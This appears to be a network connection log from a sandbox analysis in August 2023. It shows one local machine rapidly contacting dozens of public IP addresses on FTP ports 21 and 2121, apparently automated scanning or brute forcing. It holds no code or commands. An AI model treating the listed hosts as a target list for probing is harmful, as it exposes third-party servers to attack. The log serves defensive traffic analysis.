Aug 23, 2023 09:14:59.091581106 CEST	2121	50294	115.16.222.103	192.168.2.3
Aug 23, 2023 09:14:59.117409945 CEST	50296	2121	192.168.2.3	125.158.95.57
Aug 23, 2023 09:14:59.117456913 CEST	50289	21	192.168.2.3	208.167.231.235
Aug 23, 2023 09:14:59.117470026 CEST	50290	2121	192.168.2.3	208.167.231.235
Aug 23, 2023 09:14:59.117564917 CEST	50305	2121	192.168.2.3	83.15.21.5
Aug 23, 2023 09:14:59.117696047 CEST	50295	21	192.168.2.3	125.158.95.57
Aug 23, 2023 09:14:59.176206112 CEST	2121	50305	83.15.21.5	192.168.2.3
Aug 23, 2023 09:14:59.195545912 CEST	50241	21	192.168.2.3	125.26.5.217
Aug 23, 2023 09:14:59.195564032 CEST	50242	2121	192.168.2.3	125.26.5.217
Aug 23, 2023 09:14:59.195565939 CEST	50239	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:14:59.195954084 CEST	50297	21	192.168.2.3	222.233.104.163
Aug 23, 2023 09:14:59.215656042 CEST	21	50289	208.167.231.235	192.168.2.3
Aug 23, 2023 09:14:59.215677977 CEST	2121	50290	208.167.231.235	192.168.2.3
Aug 23, 2023 09:14:59.216655016 CEST	50309	2121	192.168.2.3	187.144.11.210
Aug 23, 2023 09:14:59.216658115 CEST	50308	21	192.168.2.3	187.144.11.210
Aug 23, 2023 09:14:59.320566893 CEST	50240	2121	192.168.2.3	34.74.161.243
Aug 23, 2023 09:14:59.320585966 CEST	50245	21	192.168.2.3	121.176.239.111
Aug 23, 2023 09:14:59.320590973 CEST	50288	2121	192.168.2.3	216.93.6.61
Aug 23, 2023 09:14:59.320590973 CEST	50246	2121	192.168.2.3	121.176.239.111
Aug 23, 2023 09:14:59.321075916 CEST	50299	2121	192.168.2.3	222.233.104.163
Aug 23, 2023 09:14:59.321106911 CEST	50287	21	192.168.2.3	216.93.6.61
Aug 23, 2023 09:14:59.370553017 CEST	50310	21	192.168.2.3	220.74.247.111
Aug 23, 2023 09:14:59.370806932 CEST	50311	2121	192.168.2.3	220.74.247.111
Aug 23, 2023 09:14:59.371001005 CEST	50312	21	192.168.2.3	151.241.50.65
Aug 23, 2023 09:14:59.371009111 CEST	50313	2121	192.168.2.3	151.241.50.65
Aug 23, 2023 09:14:59.371125937 CEST	50314	21	192.168.2.3	24.167.192.153
Aug 23, 2023 09:14:59.371128082 CEST	50315	2121	192.168.2.3	24.167.192.153
Aug 23, 2023 09:14:59.375283003 CEST	21	50295	125.158.95.57	192.168.2.3
Aug 23, 2023 09:14:59.378027916 CEST	2121	50296	125.158.95.57	192.168.2.3
Aug 23, 2023 09:14:59.383094072 CEST	50247	21	192.168.2.3	169.255.252.8
Aug 23, 2023 09:14:59.383095980 CEST	50248	2121	192.168.2.3	169.255.252.8
Aug 23, 2023 09:14:59.383119106 CEST	50249	2121	192.168.2.3	75.178.114.189
Aug 23, 2023 09:14:59.383119106 CEST	50250	21	192.168.2.3	75.178.114.189
Aug 23, 2023 09:14:59.383119106 CEST	50251	21	192.168.2.3	83.58.204.108
Aug 23, 2023 09:14:59.384061098 CEST	50316	21	192.168.2.3	211.184.215.114
Aug 23, 2023 09:14:59.384347916 CEST	50317	2121	192.168.2.3	211.184.215.114
Aug 23, 2023 09:14:59.430861950 CEST	50318	21	192.168.2.3	156.245.32.185
Aug 23, 2023 09:14:59.472358942 CEST	21	50297	222.233.104.163	192.168.2.3
Aug 23, 2023 09:14:59.493166924 CEST	50254	2121	192.168.2.3	184.14.82.198
Aug 23, 2023 09:14:59.495914936 CEST	2121	50288	216.93.6.61	192.168.2.3
Aug 23, 2023 09:14:59.496388912 CEST	21	50287	216.93.6.61	192.168.2.3
Aug 23, 2023 09:14:59.508102894 CEST	50252	2121	192.168.2.3	83.58.204.108
Aug 23, 2023 09:14:59.508107901 CEST	50257	2121	192.168.2.3	75.181.139.181
Aug 23, 2023 09:14:59.613213062 CEST	2121	50299	222.233.104.163	192.168.2.3
Aug 23, 2023 09:14:59.617568970 CEST	50258	21	192.168.2.3	98.249.95.156
Aug 23, 2023 09:14:59.617583036 CEST	50264	21	192.168.2.3	5.137.215.73
Aug 23, 2023 09:14:59.617604017 CEST	50268	2121	192.168.2.3	2.125.3.254
Aug 23, 2023 09:14:59.617613077 CEST	50260	2121	192.168.2.3	98.249.95.156
Aug 23, 2023 09:14:59.617655993 CEST	50293	21	192.168.2.3	115.16.222.103
Aug 23, 2023 09:14:59.617660999 CEST	50263	2121	192.168.2.3	5.137.215.73
Aug 23, 2023 09:14:59.617796898 CEST	50294	2121	192.168.2.3	115.16.222.103
Aug 23, 2023 09:14:59.628057003 CEST	2121	50311	220.74.247.111	192.168.2.3
Aug 23, 2023 09:14:59.630193949 CEST	21	50310	220.74.247.111	192.168.2.3
Aug 23, 2023 09:14:59.637541056 CEST	21	50318	156.245.32.185	192.168.2.3
Aug 23, 2023 09:14:59.637722969 CEST	50318	21	192.168.2.3	156.245.32.185
Aug 23, 2023 09:14:59.695585966 CEST	50265	2121	192.168.2.3	189.105.145.95
Aug 23, 2023 09:14:59.695590019 CEST	50259	21	192.168.2.3	75.181.139.181
Aug 23, 2023 09:14:59.695655107 CEST	50266	21	192.168.2.3	189.105.145.95
Aug 23, 2023 09:14:59.695777893 CEST	50267	21	192.168.2.3	2.125.3.254
Aug 23, 2023 09:14:59.820739985 CEST	50305	2121	192.168.2.3	83.15.21.5
Aug 23, 2023 09:14:59.847604990 CEST	21	50318	156.245.32.185	192.168.2.3
Aug 23, 2023 09:14:59.880444050 CEST	2121	50305	83.15.21.5	192.168.2.3
Aug 23, 2023 09:14:59.882572889 CEST	21	50293	115.16.222.103	192.168.2.3
Aug 23, 2023 09:14:59.882622957 CEST	2121	50294	115.16.222.103	192.168.2.3
Aug 23, 2023 09:14:59.897546053 CEST	50318	21	192.168.2.3	156.245.32.185
Aug 23, 2023 09:14:59.949269056 CEST	50296	2121	192.168.2.3	125.158.95.57
Aug 23, 2023 09:14:59.949474096 CEST	50295	21	192.168.2.3	125.158.95.57
Aug 23, 2023 09:14:59.992520094 CEST	50297	21	192.168.2.3	222.233.104.163
Aug 23, 2023 09:14:59.992744923 CEST	50274	2121	192.168.2.3	81.0.98.87
Aug 23, 2023 09:15:00.084069967 CEST	50275	21	192.168.2.3	189.130.192.12
Aug 23, 2023 09:15:00.104022980 CEST	21	50318	156.245.32.185	192.168.2.3
Aug 23, 2023 09:15:00.104048014 CEST	21	50318	156.245.32.185	192.168.2.3
Aug 23, 2023 09:15:00.104384899 CEST	50318	21	192.168.2.3	156.245.32.185
Aug 23, 2023 09:15:00.195642948 CEST	50273	21	192.168.2.3	81.0.98.87
Aug 23, 2023 09:15:00.211241961 CEST	21	50295	125.158.95.57	192.168.2.3
Aug 23, 2023 09:15:00.211337090 CEST	50310	21	192.168.2.3	220.74.247.111
Aug 23, 2023 09:15:00.211638927 CEST	50311	2121	192.168.2.3	220.74.247.111
Aug 23, 2023 09:15:00.211709023 CEST	50299	2121	192.168.2.3	222.233.104.163
Aug 23, 2023 09:15:00.212574005 CEST	2121	50296	125.158.95.57	192.168.2.3
Aug 23, 2023 09:15:00.269319057 CEST	21	50297	222.233.104.163	192.168.2.3
Aug 23, 2023 09:15:00.323486090 CEST	21	50318	156.245.32.185	192.168.2.3
Aug 23, 2023 09:15:00.323949099 CEST	50318	21	192.168.2.3	156.245.32.185
Aug 23, 2023 09:15:00.324120045 CEST	21	50318	156.245.32.185	192.168.2.3
Aug 23, 2023 09:15:00.324212074 CEST	50318	21	192.168.2.3	156.245.32.185
Aug 23, 2023 09:15:00.324300051 CEST	50318	21	192.168.2.3	156.245.32.185
Aug 23, 2023 09:15:00.469341993 CEST	2121	50311	220.74.247.111	192.168.2.3
Aug 23, 2023 09:15:00.470793009 CEST	21	50310	220.74.247.111	192.168.2.3
Aug 23, 2023 09:15:00.500883102 CEST	2121	50299	222.233.104.163	192.168.2.3
Aug 23, 2023 09:15:00.530266047 CEST	21	50318	156.245.32.185	192.168.2.3
Aug 23, 2023 09:15:00.530394077 CEST	21	50318	156.245.32.185	192.168.2.3
Aug 23, 2023 09:15:00.530411959 CEST	21	50318	156.245.32.185	192.168.2.3
Aug 23, 2023 09:15:00.695668936 CEST	50280	21	192.168.2.3	46.31.221.42
Aug 23, 2023 09:15:00.695668936 CEST	50276	2121	192.168.2.3	189.130.192.12
Aug 23, 2023 09:15:00.695668936 CEST	50277	21	192.168.2.3	34.110.211.12
Aug 23, 2023 09:15:00.695693970 CEST	50278	2121	192.168.2.3	34.110.211.12
Aug 23, 2023 09:15:00.695693970 CEST	50279	2121	192.168.2.3	46.31.221.42
Aug 23, 2023 09:15:00.711286068 CEST	50281	21	192.168.2.3	75.136.107.29
Aug 23, 2023 09:15:00.711297989 CEST	50283	21	192.168.2.3	138.186.240.234
Aug 23, 2023 09:15:00.711303949 CEST	50282	2121	192.168.2.3	75.136.107.29
Aug 23, 2023 09:15:00.855242014 CEST	50319	21	192.168.2.3	47.226.122.214
Aug 23, 2023 09:15:00.859040022 CEST	50320	2121	192.168.2.3	47.226.122.214
Aug 23, 2023 09:15:00.860989094 CEST	50321	21	192.168.2.3	51.195.223.95
Aug 23, 2023 09:15:00.866352081 CEST	50322	2121	192.168.2.3	51.195.223.95
Aug 23, 2023 09:15:00.867175102 CEST	50323	21	192.168.2.3	206.176.157.172
Aug 23, 2023 09:15:00.868710995 CEST	50324	2121	192.168.2.3	206.176.157.172
Aug 23, 2023 09:15:00.868714094 CEST	50325	21	192.168.2.3	115.21.97.55
Aug 23, 2023 09:15:00.869270086 CEST	50326	2121	192.168.2.3	115.21.97.55
Aug 23, 2023 09:15:00.870183945 CEST	50327	21	192.168.2.3	32.220.201.57
Aug 23, 2023 09:15:00.870184898 CEST	50328	2121	192.168.2.3	32.220.201.57
Aug 23, 2023 09:15:00.870721102 CEST	50329	21	192.168.2.3	20.237.245.48
Aug 23, 2023 09:15:00.871249914 CEST	50330	2121	192.168.2.3	20.237.245.48
Aug 23, 2023 09:15:00.872314930 CEST	50331	21	192.168.2.3	65.25.90.83
Aug 23, 2023 09:15:00.883198023 CEST	50284	2121	192.168.2.3	138.186.240.234
Aug 23, 2023 09:15:00.883222103 CEST	50286	2121	192.168.2.3	79.145.73.225
Aug 23, 2023 09:15:00.883222103 CEST	50291	21	192.168.2.3	62.85.40.27
Aug 23, 2023 09:15:00.883223057 CEST	50285	21	192.168.2.3	79.145.73.225
Aug 23, 2023 09:15:00.891199112 CEST	50332	21	192.168.2.3	69.246.156.126
Aug 23, 2023 09:15:00.892349005 CEST	50333	2121	192.168.2.3	65.25.90.83
Aug 23, 2023 09:15:00.919682026 CEST	50334	2121	192.168.2.3	69.246.156.126
Aug 23, 2023 09:15:00.922677994 CEST	50335	21	192.168.2.3	123.142.200.124
Aug 23, 2023 09:15:00.927021980 CEST	50336	2121	192.168.2.3	123.142.200.124
Aug 23, 2023 09:15:00.929570913 CEST	50337	21	192.168.2.3	156.59.130.153
Aug 23, 2023 09:15:00.930057049 CEST	50338	2121	192.168.2.3	156.59.130.153
Aug 23, 2023 09:15:01.008213997 CEST	50292	2121	192.168.2.3	62.85.40.27
Aug 23, 2023 09:15:01.008215904 CEST	50310	21	192.168.2.3	220.74.247.111
Aug 23, 2023 09:15:01.008265018 CEST	50311	2121	192.168.2.3	220.74.247.111
Aug 23, 2023 09:15:01.048353910 CEST	50339	21	192.168.2.3	37.194.219.66
Aug 23, 2023 09:15:01.051827908 CEST	50340	2121	192.168.2.3	37.194.219.66
Aug 23, 2023 09:15:01.053463936 CEST	50341	21	192.168.2.3	217.91.48.110
Aug 23, 2023 09:15:01.083745956 CEST	21	50341	217.91.48.110	192.168.2.3
Aug 23, 2023 09:15:01.124377012 CEST	21	50325	115.21.97.55	192.168.2.3
Aug 23, 2023 09:15:01.125030041 CEST	2121	50326	115.21.97.55	192.168.2.3
Aug 23, 2023 09:15:01.165209055 CEST	50342	2121	192.168.2.3	217.91.48.110
Aug 23, 2023 09:15:01.168561935 CEST	50343	21	192.168.2.3	211.51.115.209
Aug 23, 2023 09:15:01.172425032 CEST	21	50335	123.142.200.124	192.168.2.3
Aug 23, 2023 09:15:01.176879883 CEST	2121	50336	123.142.200.124	192.168.2.3
Aug 23, 2023 09:15:01.195071936 CEST	2121	50342	217.91.48.110	192.168.2.3
Aug 23, 2023 09:15:01.196604967 CEST	50345	21	192.168.2.3	82.25.158.112
Aug 23, 2023 09:15:01.196609020 CEST	50344	2121	192.168.2.3	211.51.115.209
Aug 23, 2023 09:15:01.265228987 CEST	2121	50311	220.74.247.111	192.168.2.3
Aug 23, 2023 09:15:01.266127110 CEST	50346	2121	192.168.2.3	82.25.158.112
Aug 23, 2023 09:15:01.268385887 CEST	21	50310	220.74.247.111	192.168.2.3
Aug 23, 2023 09:15:01.276683092 CEST	50347	21	192.168.2.3	89.65.180.227
Aug 23, 2023 09:15:01.323534966 CEST	50348	2121	192.168.2.3	89.65.180.227
Aug 23, 2023 09:15:01.337960958 CEST	50350	2121	192.168.2.3	20.240.22.30
Aug 23, 2023 09:15:01.337986946 CEST	50349	21	192.168.2.3	20.240.22.30
Aug 23, 2023 09:15:01.338061094 CEST	50351	21	192.168.2.3	103.171.18.4
Aug 23, 2023 09:15:01.357795000 CEST	50353	21	192.168.2.3	58.82.217.31
Aug 23, 2023 09:15:01.357804060 CEST	50352	2121	192.168.2.3	103.171.18.4
Aug 23, 2023 09:15:01.357820034 CEST	50354	2121	192.168.2.3	58.82.217.31
Aug 23, 2023 09:15:01.357925892 CEST	50355	21	192.168.2.3	72.15.195.82
Aug 23, 2023 09:15:01.415347099 CEST	50356	2121	192.168.2.3	72.15.195.82
Aug 23, 2023 09:15:01.427675009 CEST	21	50343	211.51.115.209	192.168.2.3
Aug 23, 2023 09:15:01.452860117 CEST	2121	50344	211.51.115.209	192.168.2.3
Aug 23, 2023 09:15:01.492655039 CEST	50303	2121	192.168.2.3	88.34.110.137
Aug 23, 2023 09:15:01.492773056 CEST	50302	21	192.168.2.3	88.34.110.137
Aug 23, 2023 09:15:01.508272886 CEST	50301	2121	192.168.2.3	59.26.124.48
Aug 23, 2023 09:15:01.508274078 CEST	50300	21	192.168.2.3	59.26.124.48
Aug 23, 2023 09:15:01.508301020 CEST	50304	21	192.168.2.3	83.15.21.5
Aug 23, 2023 09:15:01.524641037 CEST	50357	21	192.168.2.3	182.233.37.100
Aug 23, 2023 09:15:01.525068998 CEST	50358	2121	192.168.2.3	182.233.37.100
Aug 23, 2023 09:15:01.526523113 CEST	50359	21	192.168.2.3	27.255.178.207
Aug 23, 2023 09:15:01.547318935 CEST	2121	50356	72.15.195.82	192.168.2.3
Aug 23, 2023 09:15:01.571553946 CEST	50238	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:15:01.571634054 CEST	50360	2121	192.168.2.3	27.255.178.207
Aug 23, 2023 09:15:01.603513002 CEST	50361	21	192.168.2.3	79.1.84.163
Aug 23, 2023 09:15:01.603569984 CEST	50362	2121	192.168.2.3	79.1.84.163
Aug 23, 2023 09:15:01.603651047 CEST	50363	2121	192.168.2.3	160.8.75.26
Aug 23, 2023 09:15:01.603668928 CEST	50364	21	192.168.2.3	160.8.75.26
Aug 23, 2023 09:15:01.622848988 CEST	50341	21	192.168.2.3	217.91.48.110
Aug 23, 2023 09:15:01.634145975 CEST	50365	21	192.168.2.3	167.250.49.132
Aug 23, 2023 09:15:01.634505033 CEST	50366	2121	192.168.2.3	167.250.49.132
Aug 23, 2023 09:15:01.652875900 CEST	21	50341	217.91.48.110	192.168.2.3
Aug 23, 2023 09:15:01.695775986 CEST	50336	2121	192.168.2.3	123.142.200.124
Aug 23, 2023 09:15:01.695822001 CEST	50307	2121	192.168.2.3	119.207.128.100
Aug 23, 2023 09:15:01.695822954 CEST	50335	21	192.168.2.3	123.142.200.124
Aug 23, 2023 09:15:01.695864916 CEST	50306	21	192.168.2.3	119.207.128.100
Aug 23, 2023 09:15:01.750942945 CEST	21	50238	143.95.237.220	192.168.2.3
Aug 23, 2023 09:15:01.798813105 CEST	21	50365	167.250.49.132	192.168.2.3
Aug 23, 2023 09:15:01.799120903 CEST	2121	50366	167.250.49.132	192.168.2.3
Aug 23, 2023 09:15:01.820779085 CEST	50325	21	192.168.2.3	115.21.97.55
Aug 23, 2023 09:15:01.820823908 CEST	50342	2121	192.168.2.3	217.91.48.110
Aug 23, 2023 09:15:01.822803974 CEST	50326	2121	192.168.2.3	115.21.97.55
Aug 23, 2023 09:15:01.850599051 CEST	2121	50342	217.91.48.110	192.168.2.3
Aug 23, 2023 09:15:01.945700884 CEST	21	50335	123.142.200.124	192.168.2.3
Aug 23, 2023 09:15:01.947597980 CEST	2121	50336	123.142.200.124	192.168.2.3
Aug 23, 2023 09:15:01.992666960 CEST	50344	2121	192.168.2.3	211.51.115.209
Aug 23, 2023 09:15:01.992846012 CEST	50343	21	192.168.2.3	211.51.115.209
Aug 23, 2023 09:15:02.009078979 CEST	50367	21	192.168.2.3	176.50.2.138
Aug 23, 2023 09:15:02.009692907 CEST	50368	2121	192.168.2.3	176.50.2.138
Aug 23, 2023 09:15:02.024498940 CEST	50369	21	192.168.2.3	73.253.247.105
Aug 23, 2023 09:15:02.075758934 CEST	21	50325	115.21.97.55	192.168.2.3
Aug 23, 2023 09:15:02.078686953 CEST	2121	50326	115.21.97.55	192.168.2.3
Aug 23, 2023 09:15:02.117660999 CEST	50356	2121	192.168.2.3	72.15.195.82
Aug 23, 2023 09:15:02.244434118 CEST	50341	21	192.168.2.3	217.91.48.110
Aug 23, 2023 09:15:02.249547005 CEST	2121	50356	72.15.195.82	192.168.2.3
Aug 23, 2023 09:15:02.249586105 CEST	2121	50344	211.51.115.209	192.168.2.3
Aug 23, 2023 09:15:02.249902010 CEST	21	50343	211.51.115.209	192.168.2.3
Aug 23, 2023 09:15:02.274424076 CEST	21	50341	217.91.48.110	192.168.2.3
Aug 23, 2023 09:15:02.275536060 CEST	50370	2121	192.168.2.3	73.253.247.105
Aug 23, 2023 09:15:02.383320093 CEST	50308	21	192.168.2.3	187.144.11.210
Aug 23, 2023 09:15:02.383353949 CEST	50309	2121	192.168.2.3	187.144.11.210
Aug 23, 2023 09:15:02.383357048 CEST	50317	2121	192.168.2.3	211.184.215.114
Aug 23, 2023 09:15:02.383415937 CEST	50316	21	192.168.2.3	211.184.215.114
Aug 23, 2023 09:15:02.385711908 CEST	50342	2121	192.168.2.3	217.91.48.110
Aug 23, 2023 09:15:02.385740042 CEST	50314	21	192.168.2.3	24.167.192.153
Aug 23, 2023 09:15:02.385740042 CEST	50366	2121	192.168.2.3	167.250.49.132
Aug 23, 2023 09:15:02.385740995 CEST	50312	21	192.168.2.3	151.241.50.65
Aug 23, 2023 09:15:02.385741949 CEST	50365	21	192.168.2.3	167.250.49.132
Aug 23, 2023 09:15:02.385840893 CEST	50315	2121	192.168.2.3	24.167.192.153
Aug 23, 2023 09:15:02.385840893 CEST	50313	2121	192.168.2.3	151.241.50.65
Aug 23, 2023 09:15:02.415530920 CEST	2121	50342	217.91.48.110	192.168.2.3
Aug 23, 2023 09:15:02.416379929 CEST	50371	21	192.168.2.3	207.60.60.164
Aug 23, 2023 09:15:02.492788076 CEST	50336	2121	192.168.2.3	123.142.200.124
Aug 23, 2023 09:15:02.492822886 CEST	50335	21	192.168.2.3	123.142.200.124
Aug 23, 2023 09:15:02.540586948 CEST	50372	21	192.168.2.3	35.206.72.150
Aug 23, 2023 09:15:02.540631056 CEST	50373	2121	192.168.2.3	207.60.60.164
Aug 23, 2023 09:15:02.550225973 CEST	21	50365	167.250.49.132	192.168.2.3
Aug 23, 2023 09:15:02.550339937 CEST	2121	50366	167.250.49.132	192.168.2.3
Aug 23, 2023 09:15:02.617736101 CEST	50325	21	192.168.2.3	115.21.97.55
Aug 23, 2023 09:15:02.617748976 CEST	50326	2121	192.168.2.3	115.21.97.55
Aug 23, 2023 09:15:02.683937073 CEST	50374	2121	192.168.2.3	35.206.72.150
Aug 23, 2023 09:15:02.684006929 CEST	50375	21	192.168.2.3	1.99.66.23
Aug 23, 2023 09:15:02.684102058 CEST	50377	21	192.168.2.3	62.39.243.238
Aug 23, 2023 09:15:02.684149027 CEST	50376	2121	192.168.2.3	1.99.66.23
Aug 23, 2023 09:15:02.684329033 CEST	50378	2121	192.168.2.3	62.39.243.238
Aug 23, 2023 09:15:02.684658051 CEST	50379	21	192.168.2.3	38.141.150.55
Aug 23, 2023 09:15:02.739836931 CEST	21	50238	143.95.237.220	192.168.2.3
Aug 23, 2023 09:15:02.739861012 CEST	21	50238	143.95.237.220	192.168.2.3
Aug 23, 2023 09:15:02.739917040 CEST	50238	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:15:02.740452051 CEST	21	50238	143.95.237.220	192.168.2.3
Aug 23, 2023 09:15:02.740504026 CEST	50238	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:15:02.740644932 CEST	50380	2121	192.168.2.3	38.141.150.55
Aug 23, 2023 09:15:02.741453886 CEST	21	50335	123.142.200.124	192.168.2.3
Aug 23, 2023 09:15:02.742743969 CEST	50381	21	192.168.2.3	78.37.139.117
Aug 23, 2023 09:15:02.743359089 CEST	50382	2121	192.168.2.3	78.37.139.117
Aug 23, 2023 09:15:02.744846106 CEST	2121	50336	123.142.200.124	192.168.2.3
Aug 23, 2023 09:15:02.745537996 CEST	50383	21	192.168.2.3	183.81.85.206
Aug 23, 2023 09:15:02.790786982 CEST	50384	21	192.168.2.3	84.157.236.87
Aug 23, 2023 09:15:02.790851116 CEST	50385	2121	192.168.2.3	183.81.85.206
Aug 23, 2023 09:15:02.806945086 CEST	21	50379	38.141.150.55	192.168.2.3
Aug 23, 2023 09:15:02.827325106 CEST	21	50384	84.157.236.87	192.168.2.3
Aug 23, 2023 09:15:02.862926006 CEST	2121	50380	38.141.150.55	192.168.2.3
Aug 23, 2023 09:15:02.868263960 CEST	50386	2121	192.168.2.3	84.157.236.87
Aug 23, 2023 09:15:02.872695923 CEST	21	50325	115.21.97.55	192.168.2.3
Aug 23, 2023 09:15:02.873172045 CEST	2121	50326	115.21.97.55	192.168.2.3
Aug 23, 2023 09:15:02.874177933 CEST	50388	2121	192.168.2.3	36.237.124.49
Aug 23, 2023 09:15:02.874231100 CEST	50387	21	192.168.2.3	36.237.124.49
Aug 23, 2023 09:15:02.883428097 CEST	50343	21	192.168.2.3	211.51.115.209
Aug 23, 2023 09:15:02.883434057 CEST	50344	2121	192.168.2.3	211.51.115.209
Aug 23, 2023 09:15:02.904659986 CEST	2121	50386	84.157.236.87	192.168.2.3
Aug 23, 2023 09:15:02.914689064 CEST	50356	2121	192.168.2.3	72.15.195.82
Aug 23, 2023 09:15:02.972410917 CEST	2121	50385	183.81.85.206	192.168.2.3
Aug 23, 2023 09:15:02.978272915 CEST	50389	21	192.168.2.3	46.12.118.54
Aug 23, 2023 09:15:03.047754049 CEST	2121	50356	72.15.195.82	192.168.2.3
Aug 23, 2023 09:15:03.048466921 CEST	50390	2121	192.168.2.3	46.12.118.54
Aug 23, 2023 09:15:03.117885113 CEST	50366	2121	192.168.2.3	167.250.49.132
Aug 23, 2023 09:15:03.117891073 CEST	50365	21	192.168.2.3	167.250.49.132
Aug 23, 2023 09:15:03.139624119 CEST	2121	50388	36.237.124.49	192.168.2.3
Aug 23, 2023 09:15:03.140196085 CEST	2121	50344	211.51.115.209	192.168.2.3
Aug 23, 2023 09:15:03.143591881 CEST	21	50343	211.51.115.209	192.168.2.3
Aug 23, 2023 09:15:03.144598007 CEST	50391	21	192.168.2.3	104.45.86.240
Aug 23, 2023 09:15:03.144602060 CEST	50392	2121	192.168.2.3	104.45.86.240
Aug 23, 2023 09:15:03.148601055 CEST	21	50387	36.237.124.49	192.168.2.3
Aug 23, 2023 09:15:03.282793999 CEST	21	50365	167.250.49.132	192.168.2.3
Aug 23, 2023 09:15:03.282816887 CEST	2121	50366	167.250.49.132	192.168.2.3
Aug 23, 2023 09:15:03.283593893 CEST	50393	21	192.168.2.3	81.244.203.10
Aug 23, 2023 09:15:03.285167933 CEST	50394	2121	192.168.2.3	81.244.203.10
Aug 23, 2023 09:15:03.383433104 CEST	50379	21	192.168.2.3	38.141.150.55
Aug 23, 2023 09:15:03.384361982 CEST	50396	2121	192.168.2.3	187.171.190.253
Aug 23, 2023 09:15:03.384409904 CEST	50395	21	192.168.2.3	187.171.190.253
Aug 23, 2023 09:15:03.416249990 CEST	50397	21	192.168.2.3	94.75.136.130
Aug 23, 2023 09:15:03.446516037 CEST	50398	2121	192.168.2.3	94.75.136.130
Aug 23, 2023 09:15:03.492887020 CEST	50386	2121	192.168.2.3	84.157.236.87
Aug 23, 2023 09:15:03.507664919 CEST	21	50379	38.141.150.55	192.168.2.3
Aug 23, 2023 09:15:03.508421898 CEST	50384	21	192.168.2.3	84.157.236.87
Aug 23, 2023 09:15:03.508424997 CEST	50380	2121	192.168.2.3	38.141.150.55
Aug 23, 2023 09:15:03.508512974 CEST	50385	2121	192.168.2.3	183.81.85.206
Aug 23, 2023 09:15:03.509862900 CEST	50399	21	192.168.2.3	20.85.42.39
Aug 23, 2023 09:15:03.529623032 CEST	2121	50386	84.157.236.87	192.168.2.3
Aug 23, 2023 09:15:03.544317007 CEST	21	50384	84.157.236.87	192.168.2.3
Aug 23, 2023 09:15:03.557621956 CEST	50400	2121	192.168.2.3	20.85.42.39
Aug 23, 2023 09:15:03.571748972 CEST	50401	21	192.168.2.3	180.71.24.70
Aug 23, 2023 09:15:03.635237932 CEST	2121	50380	38.141.150.55	192.168.2.3
Aug 23, 2023 09:15:03.687941074 CEST	2121	50385	183.81.85.206	192.168.2.3
Aug 23, 2023 09:15:03.695946932 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:15:03.695996046 CEST	50388	2121	192.168.2.3	36.237.124.49
Aug 23, 2023 09:15:03.821083069 CEST	50387	21	192.168.2.3	36.237.124.49
Aug 23, 2023 09:15:03.859055042 CEST	21	50401	180.71.24.70	192.168.2.3
Aug 23, 2023 09:15:03.883435965 CEST	50321	21	192.168.2.3	51.195.223.95
Aug 23, 2023 09:15:03.883466005 CEST	50322	2121	192.168.2.3	51.195.223.95
Aug 23, 2023 09:15:03.883480072 CEST	50328	2121	192.168.2.3	32.220.201.57
Aug 23, 2023 09:15:03.883713007 CEST	50323	21	192.168.2.3	206.176.157.172
Aug 23, 2023 09:15:03.883713007 CEST	50331	21	192.168.2.3	65.25.90.83
Aug 23, 2023 09:15:03.883795023 CEST	50327	21	192.168.2.3	32.220.201.57
Aug 23, 2023 09:15:03.960619926 CEST	2121	50388	36.237.124.49	192.168.2.3
Aug 23, 2023 09:15:03.984503984 CEST	50319	21	192.168.2.3	47.226.122.214
Aug 23, 2023 09:15:03.984503984 CEST	50324	2121	192.168.2.3	206.176.157.172
Aug 23, 2023 09:15:03.984517097 CEST	50320	2121	192.168.2.3	47.226.122.214
Aug 23, 2023 09:15:03.984520912 CEST	50329	21	192.168.2.3	20.237.245.48
Aug 23, 2023 09:15:03.984520912 CEST	50334	2121	192.168.2.3	69.246.156.126
Aug 23, 2023 09:15:03.984594107 CEST	50337	21	192.168.2.3	156.59.130.153
Aug 23, 2023 09:15:03.984595060 CEST	50330	2121	192.168.2.3	20.237.245.48
Aug 23, 2023 09:15:03.984595060 CEST	50338	2121	192.168.2.3	156.59.130.153
Aug 23, 2023 09:15:04.008450985 CEST	50332	21	192.168.2.3	69.246.156.126
Aug 23, 2023 09:15:04.008512020 CEST	50333	2121	192.168.2.3	65.25.90.83
Aug 23, 2023 09:15:04.009242058 CEST	50379	21	192.168.2.3	38.141.150.55
Aug 23, 2023 09:15:04.088519096 CEST	50339	21	192.168.2.3	37.194.219.66
Aug 23, 2023 09:15:04.088582993 CEST	50384	21	192.168.2.3	84.157.236.87
Aug 23, 2023 09:15:04.095551014 CEST	21	50387	36.237.124.49	192.168.2.3
Aug 23, 2023 09:15:04.124321938 CEST	21	50384	84.157.236.87	192.168.2.3
Aug 23, 2023 09:15:04.125330925 CEST	50402	2121	192.168.2.3	180.71.24.70
Aug 23, 2023 09:15:04.126876116 CEST	21	50379	38.141.150.55	192.168.2.3
Aug 23, 2023 09:15:04.127917051 CEST	50403	21	192.168.2.3	86.74.150.158
Aug 23, 2023 09:15:04.195991993 CEST	50340	2121	192.168.2.3	37.194.219.66
Aug 23, 2023 09:15:04.196046114 CEST	50386	2121	192.168.2.3	84.157.236.87
Aug 23, 2023 09:15:04.211621046 CEST	50345	21	192.168.2.3	82.25.158.112
Aug 23, 2023 09:15:04.211687088 CEST	50385	2121	192.168.2.3	183.81.85.206
Aug 23, 2023 09:15:04.211736917 CEST	50380	2121	192.168.2.3	38.141.150.55
Aug 23, 2023 09:15:04.229239941 CEST	50405	21	192.168.2.3	73.80.1.147
Aug 23, 2023 09:15:04.229300976 CEST	50404	2121	192.168.2.3	86.74.150.158
Aug 23, 2023 09:15:04.231615067 CEST	2121	50386	84.157.236.87	192.168.2.3
Aug 23, 2023 09:15:04.232417107 CEST	50406	2121	192.168.2.3	73.80.1.147
Aug 23, 2023 09:15:04.321069002 CEST	50346	2121	192.168.2.3	82.25.158.112
Aug 23, 2023 09:15:04.321168900 CEST	50347	21	192.168.2.3	89.65.180.227
Aug 23, 2023 09:15:04.335025072 CEST	2121	50380	38.141.150.55	192.168.2.3
Aug 23, 2023 09:15:04.338661909 CEST	50407	21	192.168.2.3	203.208.117.246
Aug 23, 2023 09:15:04.383517027 CEST	50352	2121	192.168.2.3	103.171.18.4
Aug 23, 2023 09:15:04.383533001 CEST	50355	21	192.168.2.3	72.15.195.82
